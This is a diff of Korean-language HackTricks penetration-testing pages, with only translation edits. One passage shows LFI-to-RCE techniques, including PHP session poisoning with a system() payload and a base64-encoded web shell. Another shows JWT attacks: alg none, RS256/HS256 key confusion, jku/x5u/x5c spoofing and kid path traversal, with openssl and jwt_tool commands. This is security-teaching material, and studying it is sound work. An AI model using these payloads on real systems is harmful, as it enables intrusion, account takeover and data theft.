2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 포함하십시오. 여기서 $PID는 프로세스의 PID이며 (무차별 대입으로 찾을 수 있음), $FD는 파일 디스크립터입니다 (무차별 대입으로 찾을 수 있음).
|
||||
|
||||
### /proc/self/environ을 통해
|
||||
|
||||
|
@ -524,7 +531,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
|||
```
|
||||
### PHP 세션을 통해
|
||||
|
||||
웹사이트가 PHP 세션(PHPSESSID)을 사용하는지 확인하세요.
|
||||
웹사이트가 PHP 세션 (PHPSESSID)을 사용하는지 확인하세요.
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
|
@ -538,7 +545,7 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
|
|||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
LFI를 사용하여 PHP 세션 파일을 포함합니다.
|
||||
PHP 세션 파일을 포함하기 위해 LFI를 사용하십시오.
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
|
@ -555,7 +562,7 @@ FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. 로
|
|||
|
||||
### php base64 필터를 통해 (base64 사용)
|
||||
|
||||
[이](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 기사에서 보듯이, PHP base64 필터는 비베이스64를 무시합니다. 파일 확장자 확인을 우회하기 위해 사용할 수 있습니다: base64를 제공하면 ".php"로 끝나고, 그것은 단순히 "."을 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
|
||||
[이](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 기사에서 보듯이, PHP base64 필터는 비베이스64를 무시합니다. 파일 확장자 확인을 우회하기 위해 사용할 수 있습니다: base64를 제공하면 ".php"로 끝나고, 그냥 "."을 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
|
@ -587,15 +594,15 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
|
||||
### PHP\_SESSION\_UPLOAD\_PROGRESS를 통해
|
||||
|
||||
**세션**이 없고 `session.auto_start`가 `Off`이더라도 **로컬 파일 포함**을 발견했다면 **`PHP_SESSION_UPLOAD_PROGRESS`**를 **multipart POST** 데이터에 제공하면 PHP가 **세션을 활성화**합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
|
||||
**세션을 보유하지 않더라도** `session.auto_start`가 `Off`인 경우에도 **로컬 파일 포함**을 발견했다면 **`PHP_SESSION_UPLOAD_PROGRESS`**를 **multipart POST** 데이터에 제공하면 PHP가 **세션을 활성화**합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php_session_upload_progress.md)
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Windows에서 임시 파일 업로드를 통해
|
||||
### Windows에서의 임시 파일 업로드를 통해
|
||||
|
||||
**로컬 파일 포함**을 발견했고 서버가 **Windows**에서 실행 중이라면 RCE를 얻을 수 있을 수도 있습니다:
|
||||
**로컬 파일 포함**을 발견했고 서버가 **Windows**에서 실행 중인 경우 RCE를 얻을 수 있을 수도 있습니다:
|
||||
|
||||
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
||||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||
|
@ -603,7 +610,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
|
||||
### phpinfo() (file\_uploads = on)를 통해
|
||||
|
||||
**로컬 파일 포함**을 발견했고 파일이 **phpinfo()를 노출**하며 file\_uploads = on이면 RCE를 얻을 수 있습니다:
|
||||
**로컬 파일 포함**을 발견했고 file\_uploads = on으로 **phpinfo()를 노출하는 파일**이 있다면 RCE를 얻을 수 있습니다:
|
||||
|
||||
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||
|
@ -614,12 +621,12 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
**로컬 파일 포함**을 발견했고 **임시 파일의 경로를 유출**할 수 있지만 **서버**가 **포함할 파일에 PHP 표시가 있는지 확인**하는 경우, 이 **레이스 컨디션**을 사용하여 해당 확인을 우회할 수 있습니다:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md)
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 영구 대기 + 브루트포스를 통해
|
||||
|
||||
LFI를 악용하여 **임시 파일을 업로드**하고 서버가 **PHP 실행을 중단**시키면 **시간이 지나도록 파일 이름을 브루트 포스**하여 임시 파일을 찾을 수 있습니다:
|
||||
LFI를 악용하여 **임시 파일을 업로드**하고 서버가 PHP 실행을 **대기**하도록 만들면 **시간 동안 파일 이름을 브루트 포스**하여 임시 파일을 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중**! (_유창한 폴란드어 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -25,13 +25,13 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### **빠른 승리**
|
||||
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)을 `All Tests!` 모드로 실행하고 녹색 줄이 나올 때까지 기다리세요.
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)을 `All Tests!` 모드로 실행하고 녹색 줄이 나올 때까지 기다리세요
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
만약 당신이 운이 좋다면, 도구가 웹 애플리케이션이 JWT를 잘못 확인하는 경우를 찾을 수 있을 것입니다:
|
||||
만약 당신이 운이 좋다면, 도구가 웹 애플리케이션이 JWT를 잘못 확인하는 경우를 발견할 수 있을 것입니다:
|
||||
|
||||
![](<../.gitbook/assets/image (935).png>)
|
||||
|
||||
|
@ -39,28 +39,30 @@ python3 jwt_tool.py -M at \
|
|||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
### Burp Extension SignSaboteur를 사용하여 JWT 공격을 Burp에서 시작할 수도 있습니다.
|
||||
|
||||
### 아무것도 수정하지 않고 데이터 조작하기
|
||||
|
||||
서명을 그대로 두고 데이터를 조작할 수 있습니다. 예를 들어 사용자 이름을 "admin"으로 변경해보세요.
|
||||
서명을 그대로 두고 데이터를 조작하여 서버가 서명을 확인하는지 확인할 수 있습니다. 예를 들어 사용자 이름을 "admin"으로 변경해보세요.
|
||||
|
||||
#### **토큰이 확인되는지 확인하기**
|
||||
|
||||
JWT의 서명이 확인되는지 확인하려면:
|
||||
|
||||
* 오류 메시지가 지속적인 확인을 제안함; 상세 정보가 포함된 상세한 오류를 검토해야 함.
|
||||
* 반환된 페이지의 변경은 확인을 나타냄.
|
||||
* 변경이 없으면 확인이 없음을 나타냄; 이때는 페이로드 클레임을 조작해 실험해야 함.
|
||||
* 오류 메시지가 지속적인 확인을 제안하면; 상세한 오류 메시지에 민감한 세부 정보가 포함되어 있어야 합니다.
|
||||
* 반환된 페이지의 변경도 확인을 나타냅니다.
|
||||
* 변경이 없으면 확인이 이루어지지 않음을 나타냅니다; 이 경우에는 페이로드 클레임을 조작해 실험해보세요.
|
||||
|
||||
### 출처
|
||||
|
||||
토큰이 서버 측에서 생성되었는지 또는 클라이언트 측에서 생성되었는지를 확인하여 중요합니다. 이를 위해 프록시의 요청 기록을 조사합니다.
|
||||
토큰이 서버 측에서 생성되었는지 또는 클라이언트 측에서 생성되었는지를 확인하여 출처를 파악하는 것이 중요합니다.
|
||||
|
||||
* 클라이언트 측에서 처음 본 토큰은 키가 클라이언트 측 코드에 노출될 수 있음을 나타내며, 추가 조사가 필요함.
|
||||
* 서버 측에서 생성된 토큰은 안전한 프로세스를 나타냄.
|
||||
* 클라이언트 측에서 처음 본 토큰은 키가 클라이언트 측 코드에 노출될 수 있음을 나타내며, 추가 조사가 필요합니다.
|
||||
* 서버 측에서 생성된 토큰은 안전한 프로세스를 나타냅니다.
|
||||
|
||||
### 기간
|
||||
|
||||
토큰이 24시간 이상 유지되는지 확인하세요... 아마 만료되지 않을 수도 있습니다. "exp" 필드가 있는 경우 서버가 올바르게 처리하는지 확인하세요.
|
||||
토큰이 24시간 이상 유지되는지 확인하세요... 아마 만료되지 않을 수도 있습니다. "exp" 필드가 있는 경우, 서버가 올바르게 처리하는지 확인하세요.
|
||||
|
||||
### HMAC 비밀 키 무차별 대입
|
||||
|
||||
|
@ -70,16 +72,16 @@ JWT의 서명이 확인되는지 확인하려면:
|
|||
|
||||
사용된 알고리즘을 "None"으로 설정하고 서명 부분을 제거하세요.
|
||||
|
||||
Burp 확장 기능인 "JSON Web Token"을 사용하여 이 취약점을 시도하고 JWT 내부의 다른 값을 변경할 수 있습니다 (요청을 Repeater로 보내고 "JSON Web Token" 탭에서 토큰의 값을 수정할 수 있습니다. 또한 "Alg" 필드의 값을 "None"으로 설정할 수도 있습니다).
|
||||
"JSON Web Token"이라는 Burp 확장 기능을 사용하여 이 취약점을 시도하고 JWT 내부의 다른 값을 변경할 수 있습니다(요청을 Repeater로 보내고 "JSON Web Token" 탭에서 토큰의 값을 수정할 수 있습니다. 또한 "Alg" 필드의 값을 "None"으로 설정할 수도 있습니다).
|
||||
|
||||
### 알고리즘을 RS256(비대칭)에서 HS256(대칭)으로 변경하기 (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
알고리즘 HS256은 각 메시지를 서명하고 확인하기 위해 비밀 키를 사용합니다.\
|
||||
알고리즘 RS256은 메시지를 서명하기 위해 개인 키를 사용하고 인증을 위해 공개 키를 사용합니다.
|
||||
알고리즘 RS256은 개인 키를 사용하여 메시지를 서명하고 인증을 위해 공개 키를 사용합니다.
|
||||
|
||||
RS256에서 HS256로 알고리즘을 변경하면 백엔드 코드가 공개 키를 비밀 키로 사용하고 그런 다음 HS256 알고리즘을 사용하여 서명을 확인합니다.
|
||||
|
||||
그런 다음 공개 키를 사용하여 RS256을 HS256로 변경하여 유효한 서명을 생성할 수 있습니다. 이를 위해 이 웹 서버의 인증서를 검색할 수 있습니다.
|
||||
그런 다음 공개 키를 사용하여 RS256을 HS256로 변경하고 유효한 서명을 생성할 수 있습니다. 이를 실행하는 웹 서버의 인증서를 검색할 수 있습니다:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
@ -93,11 +95,11 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
|
||||
### JWKS 스푸핑
|
||||
|
||||
지침은 JWT 토큰의 보안을 평가하는 방법을 상세히 설명하며 특히 "jku" 헤더 클레임을 사용하는 경우에 적합합니다. 이 클레임은 토큰의 확인에 필요한 공개 키가 포함된 JWKS (JSON Web Key Set) 파일로 연결되어야 합니다.
|
||||
지침은 JWT 토큰의 보안을 평가하는 방법을 상세히 설명하며 특히 "jku" 헤더 클레임을 사용하는 경우에 해당합니다. 이 클레임은 토큰 검증에 필요한 공개 키가 포함된 JWKS (JSON Web Key Set) 파일로 연결되어야 합니다.
|
||||
|
||||
* **"jku" 헤더를 사용한 토큰 평가**:
|
||||
* "jku" 클레임의 URL을 확인하여 적절한 JWKS 파일로 이어지는지 확인합니다.
|
||||
* 토큰의 "jku" 값을 수정하여 관리되는 웹 서비스를 가리키도록 하여 트래픽 관찰을 허용합니다.
|
||||
* 토큰의 "jku" 값을 수정하여 제어된 웹 서비스를 가리키도록 하여 트래픽 관찰을 허용합니다.
|
||||
* **HTTP 상호작용 모니터링**:
|
||||
* 지정된 URL로의 HTTP 요청을 관찰하면 서버가 제공된 링크에서 키를 가져오려는 시도를 나타냅니다.
|
||||
* 이 프로세스에 `jwt_tool`을 사용할 때는 테스트를 용이하게 하기 위해 `jwtconf.ini` 파일을 개인 JWKS 위치로 업데이트하는 것이 중요합니다.
|
||||
|
@ -110,7 +112,7 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
### Kid 문제 개요
|
||||
|
||||
`kid`라고 알려진 선택적 헤더 클레임은 특정 키를 식별하는 데 사용되며, 토큰 서명 확인을 위해 여러 키가 존재하는 환경에서 특히 중요해집니다. 이 클레임은 토큰 서명을 확인하기 위한 적절한 키를 선택하는 데 도움을 줍니다.
|
||||
`kid`라고 알려진 선택적 헤더 클레임은 특정 키를 식별하는 데 사용되며, 토큰 서명 검증을 위해 여러 키가 존재하는 환경에서 특히 중요합니다. 이 클레임은 토큰 서명을 확인하기 위한 적절한 키를 선택하는 데 도움을 줍니다.
|
||||
|
||||
#### "kid"를 통한 키 노출
|
||||
|
||||
|
@ -118,7 +120,7 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
#### "kid"를 사용한 경로 순회
|
||||
|
||||
`kid` 클레임은 파일 시스템을 탐색하거나 임의의 파일을 선택할 수 있도록 악용될 수 있습니다. 특정 파일이나 서비스를 대상으로 `kid` 값을 변경하여 연결성을 테스트하거나 서버 측 요청 위조 (SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지한 채 JWT를 조작하여 `kid` 값을 변경하는 것은 jwt\_tool의 `-T` 플래그를 사용하여 아래와 같이 수행할 수 있습니다:
|
||||
`kid` 클레임은 파일 시스템을 탐색하거나 임의의 파일을 선택할 수 있도록 악용될 수 있습니다. `kid` 값을 변경하여 특정 파일이나 서비스를 대상으로 하는 연결성을 테스트하거나 서버 측 요청 위조 (SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지한 채 JWT를 조작하여 `kid` 값을 변경하는 것은 jwt\_tool의 `-T` 플래그를 사용하여 아래와 같이 수행할 수 있습니다:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -164,16 +166,16 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. PEM 형식으로 인코딩된 일련의 X.509(인증서 형식 표준) 공개 인증서를 가리키는 URI. 집합 내의 첫 번째 인증서는 이 JWT를 서명하는 데 사용된다. 그 다음의 각 인증서는 이전 인증서를 서명하여 인증서 체인을 완성한다. X.509은 RFC 52807에서 정의되어 있다. 인증서를 전송하기 위해서는 전송 보안이 필요하다.
|
||||
X.509 URL. PEM 형식으로 인코딩된 일련의 X.509(인증서 형식 표준) 공개 인증서를 가리키는 URI. 집합 내의 첫 번째 인증서는 이 JWT를 서명하는 데 사용된다. 그 다음의 각 인증서는 이전 인증서를 서명하여 인증서 체인을 완성한다. X.509은 RFC 5280에서 정의되어 있다. 인증서를 전송하기 위해서는 전송 보안이 필요하다.
|
||||
|
||||
**이 헤더를 귀하의 제어 아래 있는 URL로 변경**하고 요청을 받았는지 확인하십시오. 그 경우 **JWT를 변조**할 수 있습니다.
|
||||
|
||||
귀하가 제어하는 인증서를 사용하여 새 토큰을 위조하려면 인증서를 생성하고 공개 및 개인 키를 추출해야 합니다:
|
||||
귀하가 제어하는 인증서를 사용하여 새 토큰을 위조하려면 인증서를 생성하고 공개 및 개인 키를 추출해야 합니다.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새 JWT를 만들고 매개변수 x5u를 .crt로 지정된 인증서로 가리킬 수 있습니다.**
|
||||
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새 JWT를 생성하고 매개변수 x5u를 생성된 .crt 인증서로 지정할 수 있습니다.**
|
||||
|
||||
![](<../.gitbook/assets/image (956).png>)
|
||||
|
||||
|
@ -185,7 +187,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
|||
|
||||
![](<../.gitbook/assets/image (1119).png>)
|
||||
|
||||
공격자가 **자체 서명된 인증서를 생성**하고 해당 개인 키를 사용하여 위조 토큰을 만들고 "x5c" 매개변수의 값을 새로 생성된 인증서로 대체하고 다른 매개변수인 n, e 및 x5t를 수정하면 위조된 토큰이 서버에서 수락되게 됩니다.
|
||||
공격자가 **자체 서명된 인증서를 생성**하고 해당 개인 키를 사용하여 위조 토큰을 생성하고 "x5c" 매개변수의 값을 새로 생성된 인증서로 대체하고 다른 매개변수인 n, e 및 x5t를 수정하면 위조된 토큰이 사실상 서버에서 수락될 수 있습니다.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -196,7 +198,7 @@ openssl x509 -in attacker.crt -text
|
|||
|
||||
![](<../.gitbook/assets/image (624).png>)
|
||||
|
||||
다음 nodejs 스크립트를 사용하여 해당 데이터에서 공개 키를 생성할 수 있습니다:
|
||||
다음 Node.js 스크립트를 사용하여 해당 데이터에서 공개 키를 생성할 수 있습니다:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -206,13 +208,13 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
다음은 해당 토큰 내에 새로운 공개 키를 포함시키고 새 서명을 생성하는 것이 가능합니다:
|
||||
새 개인/공개 키를 생성하고 새 공개 키를 토큰 내에 포함시킨 후 이를 사용하여 새로운 서명을 생성하는 것이 가능합니다:
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
다음은 "n"과 "e"를 얻을 수 있는 Node.js 스크립트입니다:
|
||||
다음은 "n"과 "e"를 얻을 수 있는 nodejs 스크립트입니다:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -224,14 +226,14 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
```
|
||||
### ES256: 동일한 논스로 개인 키 노출
|
||||
|
||||
일부 애플리케이션이 ES256을 사용하고 두 개의 JWT를 생성하기 위해 동일한 논스를 사용하는 경우, 개인 키를 복원할 수 있습니다.
|
||||
어떤 애플리케이션이 ES256을 사용하고 두 개의 JWT를 생성하기 위해 동일한 논스를 사용한다면, 개인 키를 복원할 수 있습니다.
|
||||
|
||||
여기 예시가 있습니다: [ECDSA: 동일한 논스를 사용하여 개인 키 노출 (SECP256k1과 함께)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니다. 이를 사용하여 토큰 재전송을 방지할 수 있습니다.\
|
||||
그러나 ID의 최대 길이가 4 (0001-9999)인 상황을 상상해보십시오. 요청 0001과 10001은 동일한 ID를 사용하게 됩니다. 따라서 백엔드가 각 요청마다 ID를 증가시키는 경우, 이를 악용하여 **요청 재전송**을 할 수 있습니다 (각 성공적인 재전송 사이에 10000개의 요청을 보내야 함).
|
||||
그러나 ID의 최대 길이가 4 (0001-9999)인 상황을 상상해보세요. 요청 0001과 10001은 동일한 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시킨다면 이를 악용하여 **요청 재전송**을 할 수 있습니다 (각 성공적인 재전송 사이에 10000개의 요청을 보내야 함).
|
||||
|
||||
### JWT 등록된 클레임
|
||||
|
||||
|
@ -239,38 +241,38 @@ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니
|
|||
|
||||
### 기타 공격
|
||||
|
||||
**크로스-서비스 릴레이 공격**
|
||||
**Cross-service Relay Attacks**
|
||||
|
||||
일부 웹 애플리케이션은 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. 동일한 JWT 서비스의 다른 클라이언트가 수락한 토큰이 다른 클라이언트에 의해 수락된 경우가 기록되었습니다. 제3자 서비스를 통해 JWT를 발급하거나 갱신하는 경우, 동일한 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 가입할 수 있는 가능성을 조사해야 합니다. 그런 다음 획득한 토큰을 대상에 대한 요청으로 재전송해보는 시도를 해야 합니다.
|
||||
일부 웹 애플리케이션은 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. 동일한 JWT 서비스의 다른 클라이언트가 수락한 토큰이 다른 클라이언트에 의해 수락된 경우가 기록되었습니다. 제3자 서비스를 통해 JWT를 발급하거나 갱신하는 경우, 동일한 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 계정을 등록할 수 있는 가능성을 조사해야 합니다. 그런 다음 얻은 토큰을 대상에 대한 요청에서 재전송해 토큰이 수락되는지 확인해야 합니다.
|
||||
|
||||
* 토큰이 수락된다면 사용자의 계정을 스푸핑할 수 있는 심각한 문제가 발생할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트 권한이 필요할 수 있음을 유의해야 합니다.
|
||||
* 토큰이 수락된다면 어떤 사용자의 계정을 위조할 수 있는 심각한 문제가 발생할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트 권한이 필요할 수 있으며, 이는 법적인 모호한 영역으로 진입할 수 있습니다.
|
||||
|
||||
**토큰 만료 확인**
|
||||
|
||||
토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 주의 깊은 처리가 필요합니다. 다른 사용자의 JWT를 캡처하고 재전송하는 경우, 해당 사용자를 흉내 내는 것이 가능할 수 있습니다. JWT RFC는 토큰에 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재전송 공격을 완화하는 것을 권장합니다. 또한 응용 프로그램이 이 값을 처리하고 만료된 토큰을 거부하기 위한 관련 검사를 구현하는 것이 중요합니다. "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 지난 후에 재전송하는 것이 좋습니다. 토큰의 내용, 타임스탬프 구문 분석 및 만료 확인(UTC 타임스탬프)을 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다.
|
||||
토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 주의 깊은 처리가 필요합니다. 다른 사용자의 JWT를 캡처하고 재전송하는 경우, 해당 사용자를 흉내내는 것이 가능할 수 있습니다. JWT RFC는 토큰에 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재전송 공격을 완화하는 것을 권장합니다. 또한 응용 프로그램이 이 값을 처리하고 만료된 토큰을 거부하기 위한 관련 검사를 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 지난 후에 재전송하는 것이 좋습니다. 토큰의 내용, 타임스탬프 구문 분석 및 만료 확인(UTC 타임스탬프)은 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다.
|
||||
|
||||
* 응용 프로그램이 토큰을 여전히 유효성 검사하는 경우, 토큰이 만료되지 않을 수 있다는 것을 시사할 수 있습니다.
|
||||
* 응용 프로그램이 토큰을 여전히 유효성 검사하는 경우, 토큰이 만료되지 않을 수 있다는 것을 의미할 수 있습니다.
|
||||
|
||||
### 도구
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
**해킹 경력**에 관심이 있다면서 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
